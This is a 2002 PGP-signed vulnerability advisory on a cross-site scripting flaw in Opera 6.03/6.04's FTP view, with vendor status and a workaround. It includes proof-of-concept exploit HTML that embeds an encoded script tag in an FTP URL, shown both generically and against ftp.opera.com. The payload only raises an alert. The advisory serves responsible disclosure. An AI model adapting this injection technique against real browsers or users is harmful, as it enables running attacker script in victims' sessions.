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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Title:
~~~~~~~~~~~~~~~~~
Opera FTP View Cross-Site Scripting Vulnerability
Date:
~~~~~~~~~~~~~~~~~
4 August 2002
Author:
~~~~~~~~~~~~~~~~~
Eiji James Yoshida [ptrs-ejy@bp.iij4u.or.jp]
Risk:
~~~~~~~~~~~~~~~~~
Medium
Vulnerable:
~~~~~~~~~~~~~~~~~
Windows2000 SP2 Opera 6.03
Windows2000 SP2 Opera 6.04
Overview:
~~~~~~~~~~~~~~~~~
Opera allows running Malicious Scripts due to a bug in 'FTP view'.
If you click on a malicious link, the script embedded in URL will run.
Details:
~~~~~~~~~~~~~~~~~
This problem is in 'FTP view'.
The '<title>URL</title>' is not escaped.
Exploit code:
~~~~~~~~~~~~~~~~~
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp:
//%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)
%3b%3c%2fscript%3e@[FTPserver]/">
</head>
<body>
<script>window.open("ftp:
//[FTPserver]/");</script>
</body>
</html>
Example:
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp:
//%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)
%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.
com/");</script>
</body>
</html>
Demonstration:
~~~~~~~~~~~~~~~~~
http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html
Workaround:
~~~~~~~~~~~~~~~~~
Disable JavaScript.
Vendor status:
~~~~~~~~~~~~~~~~~
Opera Software ASA was notified on 30 June 2002.
- -------------------------------------------------------------
Eiji "James" Yoshida
penetration technique research site
E-mail: zaddik@geocities.co.jp
URL: http://www.geocities.co.jp/SiliconValley/1667/index.htm
- -------------------------------------------------------------
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Version: PGP 6.5.8ckt
Comment: Eiji James Yoshida
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-----END PGP SIGNATURE-----
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